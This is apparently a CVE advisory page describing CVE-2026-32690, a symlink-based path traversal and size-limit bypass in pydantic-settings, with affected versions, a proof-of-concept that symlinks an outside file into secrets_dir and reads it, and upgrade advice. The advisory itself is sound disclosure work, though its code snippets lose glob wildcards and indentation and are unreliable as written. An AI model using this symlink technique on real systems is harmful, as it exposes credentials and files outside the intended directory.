pydantic-settings Path Traversal, CVE-2026-32690 (Medium) -DC-Jun2026-536

Listen to this Post

How CVE-2026-32690 Works

The `NestedSecretsSettingsSource` class in pydantic-settings is designed to load secrets from a directory structure, supporting nested subdirectories when secrets_nested_subdir=True. The vulnerability arises from an inconsistency in how the code traverses this directory across two separate passes.
On the first pass, the `validate_secrets_path()` function performs a size check using Path.glob('/'). This implementation does not descend into directories that are symbolic links. Consequently, any symlinked directory is counted as having a size of 0 bytes, effectively making it invisible to the `secrets_dir_max_size` protection.
On the second pass, the `load_secrets()` loader uses `glob.iglob(f'{path}//’, recursive=True)` followed by read_text(). In contrast to the first pass, this implementation does follow symbolic links and reads the contents of the target files.
This discrepancy creates a critical security gap. A symlink placed inside the `secrets_dir` that points to a file or directory outside of it will be ignored by the size check but will be fully traversed and read by the loader. This results in two primary issues:
– Out-of-tree read (CWE-22 / CWE-59): The application follows the symlink and reads files from outside the intended `secrets_dir` into the application’s settings.
– secrets_dir_max_size bypass (CWE-400): The size limit is completely circumvented as the external content is never measured. The loader can read arbitrarily large files, or in the case of cyclic symlinks, cause resource exhaustion.
The vulnerability is not remotely exploitable on its own; it requires an attacker or a lower-privileged process to have the ability to write or place a symlink inside the secrets_dir.

DailyCVE Form:

Platform: pydantic-settings
Version: 2.12.0 – 2.14.1
Vulnerability: Path Traversal
Severity: Medium (5.9)
date: 2026-06-19

Prediction: 2026-06-26 (7 days)

What Undercode Say:

The vulnerability stems from inconsistent symlink handling between validation and loading.

Analytics:

  • Affected Versions: `>=2.12.0, <2.14.2` - Fixed Version: `2.14.2` - CWE: CWE-22 (Path Traversal), CWE-59 (Improper Link Resolution), CWE-400 (Uncontrolled Resource Consumption)
  • Attack Prerequisite: Write access to `secrets_dir`

Bash Command to Check Version:

pip show pydantic-settings | grep Version

Vulnerable Code Snippet (Conceptual):

Size check (does NOT follow symlinks)
def validate_secrets_path(self):
total_size = sum(f.stat().st_size for f in Path(self.secrets_dir).glob('/') if f.is_file())
Loader (DOES follow symlinks)
def load_secrets(self):
for path in glob.iglob(f'{self.secrets_dir}//', recursive=True):
if Path(path).is_file():
content = Path(path).read_text()
... load content into settings

How Exploit:

An attacker with write access to the `secrets_dir` can create a symlink to an external file.

Setup:

Create the secrets directory
mkdir -p secrets
Create a sensitive file outside the secrets directory
mkdir -p /path/outside
echo "secret_password=admin123" > /path/outside/passwd
Create a symlink inside secrets_dir pointing to the external file
ln -s /path/outside/passwd secrets/db

Exploit Code:

from pydantic import BaseModel
from pydantic_settings import BaseSettings, SettingsConfigDict, NestedSecretsSettingsSource
class Db(BaseModel):
passwd: str | None = None
class Settings(BaseSettings):
model_config = SettingsConfigDict(
secrets_dir='secrets',
secrets_nested_subdir=True,
secrets_dir_max_size=100, The external file is 512 bytes
)
db: Db = Db()
@classmethod
def settings_customise_sources(cls, settings_cls, init_settings, env_settings,
dotenv_settings, file_secret_settings):
return (NestedSecretsSettingsSource(file_secret_settings),)
On vulnerable versions, this prints the content of /path/outside/passwd
print(Settings().db.passwd)
Output: secret_password=admin123

On affected versions, `Settings().db.passwd` is populated with the content of the external file, and no error is raised despite exceeding secrets_dir_max_size.

Protection:

  • Upgrade: Immediately upgrade to pydantic-settings version 2.14.2 or later. This version implements a unified, cycle-safe walker that only descends into directories whose resolved paths remain within secrets_dir.
  • Mitigation: If an upgrade is not immediately possible, ensure the `secrets_dir` is fully owned and controlled by the application. Avoid using `secrets_nested_subdir=True` if the directory is writable by other users or services.

Impact:

  • Confidentiality: An attacker can read arbitrary files from the host filesystem into the application’s settings, leading to unauthorized disclosure of sensitive information like passwords, API keys, and configuration files.
  • Integrity/Availability: The `secrets_dir_max_size` safeguard is rendered useless, allowing the loading of oversized files. Cyclic symlinks can also be exploited to cause denial of service through resource exhaustion.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top